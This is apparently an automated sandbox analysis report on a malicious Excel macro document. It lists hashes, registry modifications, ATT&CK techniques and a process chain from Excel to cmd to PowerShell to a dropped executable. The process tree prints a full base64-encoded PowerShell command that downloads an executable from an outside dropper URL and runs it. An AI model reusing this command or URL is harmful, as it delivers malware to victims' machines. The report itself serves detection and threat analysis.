033fdf937a1c21b3c1b554193b98349d6dee6501eec1aa8fe4ed5ae703399be1

Analysis

max time kernel
121s
max time network
117s
platform
windows7_x64
resource
win7-en-20210920
submitted
14-10-2021 05:11

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General

Target

NLPV.509GmbH.xlsm
Size

177KB
MD5

6e75c56863ea4ab6258b772bd35c6136
SHA1

3936c220b3a5d2a61c4125f153e2ff60e8c17ae9
SHA256

033fdf937a1c21b3c1b554193b98349d6dee6501eec1aa8fe4ed5ae703399be1
SHA512

eea2fef19a8f01d61554537a3e4b9f053aab8609734fbc3b4109cf49ae66bf27a24f9a99db3bd0d268d741fb43a47dc6a180be4de843073e9a66dfca907797e8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://samlighter.com/Loveday.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1796	2040	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1260 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Nitptdnujj.exe

pid process

1380 Nitptdnujj.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

2040 EXCEL.EXE
Loads dropped DLL 6 IoCs

Processes:

powershell.exeWerFault.exe

pid process

1260 powershell.exe
1672 WerFault.exe
1672 WerFault.exe
1672 WerFault.exe
1672 WerFault.exe
1672 WerFault.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1672 1380 WerFault.exe Nitptdnujj.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
5	1260	powershell.exe

pid	process
1380	Nitptdnujj.exe

pid	process
2040	EXCEL.EXE

pid	process
1260	powershell.exe
1672	WerFault.exe
1672	WerFault.exe
1672	WerFault.exe
1672	WerFault.exe
1672	WerFault.exe

pid	pid_target	process	target process
1672	1380	WerFault.exe	Nitptdnujj.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\D3E57F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2040 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exeWerFault.exe

pid process

1260 powershell.exe
1260 powershell.exe
1260 powershell.exe
1672 WerFault.exe
1672 WerFault.exe
1672 WerFault.exe
1672 WerFault.exe
1672 WerFault.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

1672 WerFault.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

2040 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1260 powershell.exe
Token: SeDebugPrivilege 1672 WerFault.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

EXCEL.EXE

pid process

2040 EXCEL.EXE
2040 EXCEL.EXE
2040 EXCEL.EXE
2040 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\D3E57F00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
2040	EXCEL.EXE

pid	process
1260	powershell.exe
1260	powershell.exe
1260	powershell.exe
1672	WerFault.exe
1672	WerFault.exe
1672	WerFault.exe
1672	WerFault.exe
1672	WerFault.exe

pid	process
1672	WerFault.exe

pid	process
2040	EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	1672	WerFault.exe

pid	process
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeNitptdnujj.exe

description	pid	process	target process
PID 2040 wrote to memory of 1796	2040	EXCEL.EXE	cmd.exe
PID 2040 wrote to memory of 1796	2040	EXCEL.EXE	cmd.exe
PID 2040 wrote to memory of 1796	2040	EXCEL.EXE	cmd.exe
PID 2040 wrote to memory of 1796	2040	EXCEL.EXE	cmd.exe
PID 1796 wrote to memory of 1260	1796	cmd.exe	powershell.exe
PID 1796 wrote to memory of 1260	1796	cmd.exe	powershell.exe
PID 1796 wrote to memory of 1260	1796	cmd.exe	powershell.exe
PID 1796 wrote to memory of 1260	1796	cmd.exe	powershell.exe
PID 1260 wrote to memory of 1380	1260	powershell.exe	Nitptdnujj.exe
PID 1260 wrote to memory of 1380	1260	powershell.exe	Nitptdnujj.exe
PID 1260 wrote to memory of 1380	1260	powershell.exe	Nitptdnujj.exe
PID 1260 wrote to memory of 1380	1260	powershell.exe	Nitptdnujj.exe
PID 1380 wrote to memory of 1672	1380	Nitptdnujj.exe	WerFault.exe
PID 1380 wrote to memory of 1672	1380	Nitptdnujj.exe	WerFault.exe
PID 1380 wrote to memory of 1672	1380	Nitptdnujj.exe	WerFault.exe
PID 1380 wrote to memory of 1672	1380	Nitptdnujj.exe	WerFault.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\NLPV.509GmbH.xlsm
1⤵
- Deletes itself
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\cmd.exe
cmd /c Xtqoeyupyktxz.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAGkAdABwAHQAZABuAHUAagBqAC4AZQB4AGUAIgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AcwBhAG0AbABpAGcAaAB0AGUAcgAuAGMAbwBtAC8ATABvAHYAZQBkAGEAeQAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA=
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260

C:\Users\Admin\AppData\Roaming\Nitptdnujj.exe
"C:\Users\Admin\AppData\Roaming\Nitptdnujj.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 504
5⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1672

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
C:\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
C:\Users\Admin\Documents\Xtqoeyupyktxz.bat
MD5
8af226867496ba123fb22313c29ad442

SHA1
a1d7796e0b3da8b329777903705a4e7c876feaf0

SHA256
51498059b24f063214020847174677616d8693d6653e08676c17d548d55ce820

SHA512
da6364c4c4eecfb4ddf72aa73d38a89f64df343b79378821edc6ea560d494f007ad8cf2151986c1c26281dfcc1faf6f7773fafac4333f495c792c6502c6984ad

Download Submit
\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
\Users\Admin\AppData\Roaming\Nitptdnujj.exe
MD5
da17635505ade51b161ee9779daa5745

SHA1
45d64021973bf6b71dc824fedf8462a066345045

SHA256
313a88ca25c0291e7d87528a197add849e1c1fa43fc8614b28ff3d8218f149c7

SHA512
1ae26011b684eaa56982849093e587e77a69c2dc27b5d821bfed7c803d436f9cca20020301f9b36c8ff946e00cd84d93ebc71f49a5a6b196be464b318bfaea6d

Download Submit
memory/1260-60-0x0000000075BD1000-0x0000000075BD3000-memory.dmp

Filesize
8KB

Download
memory/1260-59-0x0000000000000000-mapping.dmp

Download
memory/1260-61-0x0000000002540000-0x000000000318A000-memory.dmp

Filesize
12.3MB

Download
memory/1380-63-0x0000000000000000-mapping.dmp

Download
memory/1380-66-0x00000000013C0000-0x00000000013C1000-memory.dmp

Filesize
4KB

Download
memory/1672-68-0x0000000000000000-mapping.dmp

Download
memory/1672-75-0x0000000000590000-0x00000000005B6000-memory.dmp

Filesize
152KB

Download
memory/1796-57-0x0000000000000000-mapping.dmp

Download
memory/2040-54-0x000000002F141000-0x000000002F144000-memory.dmp

Filesize
12KB

Download
memory/2040-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2040-55-0x0000000071781000-0x0000000071783000-memory.dmp

Filesize
8KB

Download
memory/2040-76-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download